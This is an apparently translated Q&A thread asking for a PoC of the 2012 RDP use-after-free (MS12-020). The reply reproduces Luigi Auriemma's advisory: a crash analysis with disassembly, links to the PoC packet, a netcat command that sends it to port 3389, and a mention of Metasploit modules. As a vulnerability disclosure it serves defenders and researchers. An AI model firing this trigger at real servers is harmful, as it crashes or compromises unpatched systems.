CVE-2012-0002 / MS12-020のRCE PoCはありますか？
私は最近、2012年にリリースされたMSの脆弱性CVE-2012-0002/MS12-020を少し調べました。
2012年3月、Symantec 投稿 RCE PoCと思われる脆弱性のスクリーンショットですが、今日でも、まともなRCE PoCは見つかりません。
私は これらの3つのPoC に出くわしましたが、適切なコメントやドキュメントがないため、現時点では自分で機能を検証するのに十分な自信がありません。
MS12-020のRCE PoCはありますか？それはまだ実際に悪用されていますか？
はい。 exploit-db.com にエクスプロイトが公開されています。エクスプロイトコードの検証に慣れていない場合は、これを試みる前に、このレベルのコード（読み取り：アセンブリ）がどのように機能するかを理解する必要があります。
#######################################################################
Luigi Auriemma
Application: Microsoft Terminal Services / Remote Desktop Services
http://www.Microsoft.com
http://msdn.Microsoft.com/en-us/library/aa383015(v=vs.85).aspx
Versions: any Windows version before 13 Mar 2012
Platforms: Windows
Bug: use after free
Exploitation: remote, versus server
Date: 16 Mar 2012 (found 16 May 2011)
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org
Additional references:
http://www.zerodayinitiative.com/advisories/ZDI-12-044/
http://technet.Microsoft.com/en-us/security/bulletin/ms12-020
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
From vendor's homepage:
"The Microsoft Remote Desktop Protocol (RDP) provides remote display
and input capabilities over network connections for Windows-based
applications running on a server. RDP is designed to support different
types of network topologies and multiple LAN protocols."
#######################################################################
======
2) Bug
======
The Remote Desktop Protocol is used by the "Terminal Services / Remote
Desktop Services" and works at kernel level on port 3389.
There is an use-after-free vulnerability located in the handling of the
maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of
the provided proof-of-concept) when set to a value minor/equal than 5.
The problem happens during the disconnection of the user started with
RDPWD!NM_Disconnect while the effect of the possible code execution is
visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on
Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer, the following dump is taken from Windows 2003 Server:
f761887c 8bff mov edi,edi
f761887e 55 Push ebp
f761887f 8bec mov ebp,esp
f7618881 56 Push esi
f7618882 57 Push edi
f7618883 8b7d08 mov edi,dword ptr [ebp+8]
f7618886 8d47ec lea eax,[edi-14h]
f7618889 50 Push eax
f761888a eb09 jmp termdd!IcaBufferAlloc+0x19 (f7618895)
f761888c 8b4618 mov eax,dword ptr [esi+18h] ; we are here
f761888f 833800 cmp dword ptr [eax],0 ; or here
f7618892 7527 jne termdd!IcaBufferAlloc+0x3f (f76188bb) ; must jump
f7618894 56 Push esi
f7618895 e878290000 call termdd!IcaGetPreviousSdLink (f761b212) ; the new ESI is returned by this function
f761889a 8bf0 mov esi,eax
f761889c 85f6 test esi,esi
f761889e 75ec jne termdd!IcaBufferAlloc+0x10 (f761888c)
f76188a0 ff751c Push dword ptr [ebp+1Ch]
f76188a3 ff7518 Push dword ptr [ebp+18h]
f76188a6 ff7514 Push dword ptr [ebp+14h]
f76188a9 ff7510 Push dword ptr [ebp+10h]
f76188ac ff750c Push dword ptr [ebp+0Ch]
f76188af 57 Push edi
f76188b0 e8b9fcffff call termdd!IcaBufferAllocInternal (f761856e)
f76188b5 5f pop edi
f76188b6 5e pop esi
f76188b7 5d pop ebp
f76188b8 c21800 ret 18h
f76188bb 33c0 xor eax,eax
f76188bd 53 Push ebx
f76188be 8d7e10 lea edi,[esi+10h]
f76188c1 40 inc eax
f76188c2 f00fc107 lock xadd dword ptr [edi],eax
f76188c6 ff751c Push dword ptr [ebp+1Ch]
f76188c9 8b4618 mov eax,dword ptr [esi+18h] ; the same value of before
f76188cc ff7518 Push dword ptr [ebp+18h]
f76188cf ff7514 Push dword ptr [ebp+14h]
f76188d2 ff7510 Push dword ptr [ebp+10h]
f76188d5 ff750c Push dword ptr [ebp+0Ch]
f76188d8 ff761c Push dword ptr [esi+1Ch]
f76188db ff10 call dword ptr [eax] ; code execution
f76188dd 8bd8 mov ebx,eax
f76188df 83c8ff or eax,0FFFFFFFFh
f76188e2 f00fc107 lock xadd dword ptr [edi],eax
f76188e6 7506 jne termdd!IcaBufferAlloc+0x72 (f76188ee)
f76188e8 56 Push esi
f76188e9 e8382f0000 call termdd!_IcaUnloadSd (f761b826)
f76188ee 8bc3 mov eax,ebx
f76188f0 5b pop ebx
f76188f1 ebc2 jmp termdd!IcaBufferAlloc+0x39 (f76188b5)
eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
termdd!IcaBufferAlloc+0x10:
f762888c 8b4618 mov eax,dword ptr [esi+18h] ds:0023:040b041a=????????
ChildEBP RetAddr
b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
b8b39bac f762ca10 termdd!_IcaCallStack+0x55
b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
b8b39c50 808ed4eb nt!IofCallDriver+0x45
b8b39c64 808ee28d nt!NtWriteFile+0x2943
b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14
On Windows 2003 that zone of the memory pointed by ESI+18 using the
provided proof-of-concept is ever in the range 040b02??-040b04??.
The exploitability depends by the possibility of controlling ESI or the
content pointed by it (maybe via a form of heap spraying?), indeed in
my quick tests this zone sometimes is allocated and others it isn't.
Note that on the post-Vista Windows versions (like 7 and 2008) "seems"
necessary to have "Allow connections from computers running any version
of Remote Desktop" for being vulnerable.
Anyway I'm not totally sure about this so-called limitation because it
looks like dependent by my proof-of-concept only.
The provided proof-of-concept uses the BER integer values set at 32bit
(big endian) in case they could be useful for easier debugging.
Additional details about the protocol:
http://msdn.Microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
#######################################################################
===========
3) The Code
===========
http://aluigi.org/poc/termdd_1.dat
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/18606.dat
nc SERVER 3389 < termdd_1.dat
resend it multiple times in case of no results and note that this is
just a simple proof-of-concept packet to quickly test the bug so it's
not optimized at all.
#######################################################################
======
4) Fix
======
http://technet.Microsoft.com/en-us/security/bulletin/ms12-020
#######################################################################
Cvedetails.comによると、この脆弱性には 2つのMetasploitモジュール が利用可能です。